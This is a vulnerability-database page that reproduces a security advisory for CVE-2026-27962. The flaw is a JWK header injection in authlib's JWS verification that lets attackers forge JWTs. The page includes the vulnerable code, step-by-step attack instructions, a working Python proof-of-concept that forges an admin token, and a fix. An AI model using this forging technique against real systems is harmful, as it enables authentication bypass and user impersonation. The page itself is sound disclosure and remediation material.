KEVWire

Security intelligence, with context.

Response snapshot Oct 27, 2026, 16:01 UTC

Back to the wire
Permalink
VulnerabilityCVE-2026-27962

Authlib JWS JWK Header Injection: Signature Verification Bypass

A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification.

At a glance

Exploited
Not known
Severity
9.1 Critical (CVSS 3.1)
Chance of exploitation
Not estimated
Sources
1 source

What to do

GitHub lists first patched versions: authlib: 1.6.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-wvwj-cvrp-7pv5 (opens a new tab)

What happened

## Description

### Summary

A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed to any JWS deserialization function, the library extracts and uses the cryptographic key embedded in the attacker-controlled JWT `jwk` header field.

An attacker can sign a token with their own private key, embed the matching public key in the header, and have the server accept the forged token as cryptographically valid — bypassing authentication and authorization entirely.

Continue reading

This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.

### Details

**Vulnerable file:** `authlib/jose/rfc7515/jws.py` **Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()` **Lines:** 272–273

```python elif key is None and "jwk" in header: key = header["jwk"] # ← attacker-controlled key used for verification ```

When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or `jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts that value — which is fully attacker-controlled — and uses it as the verification key.

**RFC 7515 violations:**

- **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys embedded by the token submitter cannot be trusted as a verification anchor. - **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application context*, not from the token itself. There is no step in the RFC that permits falling back to the `jwk` header when no application key is provided.

**Why this is a library issue, not just a developer mistake:**

The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup. A developer writes:

```python def lookup_key(header, payload): kid = header.get("kid") return jwks_cache.get(kid) # returns None when kid is unknown/rotated

jws.deserialize_compact(token, lookup_key) ```

When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`. The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result looks like a verified token with no exception raised, making the substitution invisible.

**Attack steps:**

1. Attacker generates an RSA or EC keypair. 2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`). 3. Attacker signs the JWT with their **private** key. 4. Attacker embeds their **public** key in the JWT `jwk` header field. 5. Attacker uses an unknown `kid` to cause the key resolver to return `None`. 6. The library uses `header["jwk"]` for verification — signature passes. 7. Forged claims are returned as authentic.

### PoC

Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).

**Requirements:** ``` pip install authlib cryptography ```

**Exploit script:** ```python from authlib.jose import JsonWebSignature, RSAKey import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair attacker_private = RSAKey.generate_key(2048, is_private=True) attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header header = {"alg": "RS256", "jwk": attacker_public_jwk} forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode() forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted result = jws.deserialize_compact(forged_token, None) claims = json.loads(result["payload"]) print(claims) # {'sub': 'attacker', 'role': 'admin'} assert claims["role"] == "admin" # PASSES ```

**Expected output:** ``` {'sub': 'attacker', 'role': 'admin'} ```

**Docker (self-contained reproduction):** ```bash sudo docker run --rm authlib-cve-poc:latest \ python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py ```

### Impact

This is an authentication and authorization bypass vulnerability. Any application using authlib's JWS deserialization is affected when:

- `key=None` is passed directly, **or** - a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)

An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims (admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys. The forged token is indistinguishable from a legitimate one — no exception is raised.

This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk` header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from the application context, not the token itself.

**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`: ```python # DELETE: elif key is None and "jwk" in header: key = header["jwk"] ```

**Recommended safe replacement** — raise explicitly when no key is resolved: ```python if key is None: raise MissingKeyError("No key provided and no valid key resolvable from context.") ```

Affected package ranges reported by GitHub: authlib: <= 1.6.8

Scores and how they were measured

CVSS base severity

9.1

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

Not available

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-wvwj-cvrp-7pv5 (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-wvwj-cvrp-7pv5, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 27). Authlib JWS JWK Header Injection: Signature Verification Bypass (CVE-2026-27962). https://kevwire.com/record/CVE-2026-27962

MLA

"Authlib JWS JWK Header Injection: Signature Verification Bypass (CVE-2026-27962)." KEVWire, 27 Oct. 2026, kevwire.com/record/CVE-2026-27962.

Chicago

KEVWire. "Authlib JWS JWK Header Injection: Signature Verification Bypass (CVE-2026-27962)." Last modified October 27, 2026. https://kevwire.com/record/CVE-2026-27962.

Evidence summary (plain text)

Authlib JWS JWK Header Injection: Signature Verification Bypass (Mar 16, 2026).
A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.

This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.
CVSS 9.1 (version 3.1; evidence as of Oct 27, 2026; https://github.com/advisories/GHSA-wvwj-cvrp-7pv5).
Sources:
GitHub-reviewed advisory GHSA-wvwj-cvrp-7pv5: https://github.com/advisories/GHSA-wvwj-cvrp-7pv5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
Record ID: CVE-2026-27962.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 16:00 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

Record JSON

Your account

Email alerts

Email alerts are not available yet. To follow your stack today, use its RSS feed, which honors your filters, or connect an AI agent through the API.

Suggest an improvement

Ideas, missing sources, corrections, and bugs are all welcome. No account needed. Suggestions are reviewed by a person before anything changes.

Record details

Record detail